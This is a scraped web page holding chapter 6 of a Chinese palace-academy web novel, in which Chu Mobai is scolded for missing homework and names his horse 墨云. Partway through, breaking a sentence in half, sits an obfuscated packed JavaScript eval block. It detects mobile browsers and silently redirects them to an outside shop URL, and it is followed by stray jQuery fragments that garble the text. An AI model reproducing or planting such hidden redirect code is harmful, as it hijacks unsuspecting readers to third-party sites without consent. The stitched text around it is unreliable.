文趣网 > 都市小说 > 墨染东宫 > 6. 第6章
    第二天,楚墨白浑身跟散了架一样,顶着黑眼圈恍若游魂般飘在连廊上。

    一路上此起彼伏地“楚师兄早!”

    “墨白兄早!”楚墨白不动脑子,每个都点头回应,继续往天字一号班飘去。

    等他落座后,周遭的目光打量才叫他回过神来。

    嗯?今日怎么感觉他们的目光多了些热切。

    楚墨白扫视着班内学子,不似以往,人人都回避他的目光,不少人都冲他点头示意。

    除了华南业仍是一如既往地怒视着他。

    “咳咳。”楚墨白身后的学子假装咳嗽两声,低声道:“楚…楚师兄,您今日有空驭马吗?”

    他想摸摸踏雪!

    楚墨白回过头,一俊朗少年正兴致盎然地看着他。

    “我…我叫肖云飞。你叫我云飞就行。”

    在多情眸子注视下,肖云飞脸上飘过一丝红晕,有些羞涩挠头,这双眼似狐似媚,往日不曾觉得,今日一看,心都得化半截。

    不过比起表妹,还是表妹更让他心软。

    楚墨白发现周遭有不少人都在竖着耳朵听他们的对话,颇有些惊奇,这些人往日里对他爱答不理,今日怎么转了性子?

    肖云飞见楚墨白没回应,有些低落:“如果楚师兄今日不方便,改日也行的!”

    他是真的想摸摸踏雪,他那日站在最里面,是亲眼目睹楚墨白骑着踏雪自他面前飞奔而过,胜了华南业。

    他本也是权贵之家,他能在天字一号班自然也是经过了考测的,楚墨白处处靠着镇国公名号,他自然也不喜。

    素日里也不曾搭理楚墨白,没想到昨日当真让他刮目相看,或许他不该以貌取人,山长能收他当弟子,定有道理的。

    他不该质疑山长的决定,肖云飞如是想。

    楚墨白茫然之中,点了个头,这人刚说啥来着?

    肖云飞原本只是想试试,没想到他竟真的答应了,一高兴,心疼地将偷藏的点心给了一块给楚墨白。

    “多谢楚师兄,这枣泥糕是我表妹做的,给您尝尝。”

    他三请四求,还答应了好些条件,才求得表妹答应给他做的,可好吃了,就是给出去好心痛,纵使楚墨白答应了,也只小气吧啦的给了一块。

    楚墨白将点心丢入口中,这人心思细腻,点心极为小巧精致,一口一个,正适合午后饥肠辘辘之际食用。

    竖起耳朵听的周遭人一见肖云飞获得楚墨白的同意了,纷纷围过来:“楚师兄,我也想摸摸踏雪,您看可以吗?”

    “我也想!”

    他们当然也不一定是真的想看踏雪,但也想放下偏见,山长曾教导他们,耳听为虚,眼见为实,接触过才知为人。

    楚墨白刚咽下点心,还没来得及说话。

    “肃静!”

    周夫子站在门口眉头轻挑,脸色极为严肃,已到了授课时间,如此喧闹成何体统!

    熟知周夫子性子的学子们一窝蜂的散了,纷纷回到位置上坐着静待上课。

    周夫子沉着脸,将戒尺搁在书案上,望向某处:“楚墨白!”

    楚墨白一激灵恭恭敬敬的站起来:“在!”

    昨日之事闹得沸沸扬扬,他自然也听说了,周夫子看着闹出诸多事宜的楚墨白,沉声道:“你的功课呢?”

    楚墨白不明所以,偏头望向身侧的萧容执,指望他给点儿提示,萧容执正拿起砚台细细研墨的手一顿。

    “太子殿下的功课早已给了我,你的呢?”

    周夫子的话一出,楚墨白顿时想起来了,周夫子在他入学时就罚他与萧容执双倍功课了,这些天忙着适应书院,他给忘到九霄云外了。

    周夫子见楚墨白支支吾吾地好半天不肯回话,就知他忘了这事儿,气笑了:“好好好,本夫子谅你初来咋到,不曾催促你,你竟然忘了。”

    楚墨白只觉得冤得不行,这些天他晕头转向的,哪还记得功课一事,太子师兄自己完成了,竟也不提醒他,太不厚道了。枉他昨日还觉得太子殿下是个好人。

    周夫子丢下一本书,“这几日看完,写篇策论交与我,前几日的也别再忘了,不然罪再加一等。”

    楚墨白默默收起书,心想太子不会是故意不提醒他的吧,偷瞄了一眼周夫子的脸色,看来偷懒不了。

    坐下时楚墨白动作一僵,撑着最后的倔强,缓慢坐下,犹如几十岁的老翁弓腰驼背。

    昨天拼着一口气硬是赢了比赛,但他也着实不好受。虽是上了药,但磨破皮的地方是真真的疼。

    萧容执不着痕迹的扫了一眼萎靡不振的楚墨白,正正巧对上一双哀怨的眸子,里面充满了控诉。

    肖云飞翻开书本,抬头正好看见太子殿下挺直了腰杆,似乎比往日挺得更直了,让人觉得还有些心虚的僵硬。

    肖云飞有些好笑的甩了下头,太子殿下怎么可能觉得心虚呢,肯定是他想多了,太子殿下只是在认真听讲而已。

    周夫子开始授课了,他要向太子学习。

    结束授课后,周夫子意味不明的盯着楚墨白看了一眼,冷哼一声走了,不难看出若是这次楚墨白还未完成,他定是要再找他麻烦的。

    授课一结束楚墨白被肖云飞半道拦截,说是要去看踏雪,楚墨白才想起方才授课前,肖云飞曾找他说了什么,原来是去看踏雪,其余几个也颇为期待的看着他,不好违众人的意思。

    楚墨白只好眼睁睁地看着萧容执走了,观其背影,他竟看出师兄颇有些落荒而逃的架势,转身伙同几人一起去了马厩。

    ......

    马厩建在演武场东侧,青砖砌墙,檐角微微翘起,覆着瓦片,门口尚且挂着褪了色的红绸,厩内宽敞,一字排开十余个马槽,槽身被磨得光滑发亮,角落里还堆着甘草。

    见有人推门进来,马儿们都有些浮躁,或打个响鼻,或安静埋头吃草。

    不难看出有人精心饲养这些马儿,怪不得个个膘肥体壮,毛色油亮。

    最里间的马槽间,墙上还挂着马鞭,笼头等用具,里面两匹马正悠闲在里踱步

    踏雪正腻在玉狮子身旁,嚼着黄豆,不时马尾还甩着驱赶蚊虫

    “快看是踏雪,还有太子殿下的玉镜。”

    玉镜扫了一眼咋咋呼呼的几人,甩着尾沉稳的走开了,不愿搭理这些人,徒留踏雪在原地。

    踏雪看到当中的楚墨白,认出是主人,遂踱步过来

    少年走过去,轻抚马颈,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886058|212536||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    惹得踏雪亲昵的蹭了蹭他的掌心。

    楚墨白心中五味杂陈,他昨日能赢全靠踏雪。

    “楚师兄,太子殿下对你真好,把踏雪给你了。”

    楚墨白看着艳慕不已的肖云飞:“这马厩之中的马,难道不是随意挑选?”

    不然这书院这般多的学子,哪能人人都拥有一匹,真要做到这种程度,真得怀疑这书院背后之人到底是谁。

    这些马可不逊军马,甚至玉镜与踏雪,比他看到过的军马都还要好上不少。

    太子随手递给他,他随手就接了,听肖云飞这意思,这马以后就属于他一个人的了。

    肖云飞讶然:“你不知道吗?马厩之中其他马的确是可随意挑选的,并无特定的主人,”

    “不过玉镜与乌云踏雪是例外,这是独属太子殿下的,他既给了你,你当然是这匹马的主人了。”

    “说起来,这玉狮子太子殿下赐名玉镜,只这乌云踏雪,太子偶尔才会骑上一回,踏雪还未正式赐名呢。”

    若不是因为踏雪是太子殿下的,现在又给了楚墨白,他们怎么会需要经过楚墨白的意见才能来看踏雪。

    当然早就自己来马厩看它了,看太子的意思,似乎并无意当踏雪的主人,乌云踏雪并未正式赐名,为方便称呼,故而众人才以踏雪为名暂时称呼着。

    如今都有主人了,当然得正式赐名才行,马被赐名,才能代表主人接受它。

    “你们说叫什么比较好?”

    肖云飞见楚墨白还在沉思,扭头问其他人。

    众人七嘴八舌的讨论着:“就叫踏雪!”

    “俗不俗,这名就是随意叫叫,怎么能正式喊这个,要我说就叫,就叫飞毛腿吧!跑得快!”

    “咦,枉你还是才高八斗的书生,这名连我奶都不兴取。”

    取飞毛腿的人不乐意了,:“那你说叫什么名?”

    “啧,要我说啊,叫千里也成?日行千里,一看就是好马。”

    踏雪也在一旁配合喷着鼻息,好似在说,它也想要个名字,踏雪颇有灵性的去咬楚墨白的袖子,大有不给它取名,就不让他走的架势。

    “千里也俗。”

    “俗俗俗,啥都俗,我看你最俗。”

    闹将起来的众人开始嘻嘻哈哈相互打趣

    楚墨白咋闻踏雪的来历,胸口一阵温烫酥麻,恨不得立时去找萧容执问清楚,是怎么回事,不过现在当务之急是给踏雪取名

    “墨云。”

    还在议论中的学子纷纷望向发声之人,楚墨白一脸认真,眉目柔和:“就叫墨云吧。”

    踏雪,不,应该叫墨云了,欢快的嘶鸣一声,松开了楚墨白的袖子,开始蹦跳着去找玉镜炫耀,它喜欢这个名字。

    “墨云,有黑有白,与它这乌云踏雪极为相配!不错。”

    “而且楚师兄名字也是有黑有白,当真是神奇,这马怕不是天生就该楚师兄得?”

    少年们嘻嘻哈哈笑成一团,楚墨白也笑,墨云,墨云,当真是极好的马。

    纵使他还是怕其他马,但他却不再怕墨云了。

    想起墨云的来历,楚墨白垂下眸,无人知他此刻在想啥,或许是想起来了原本这匹马的主人吧。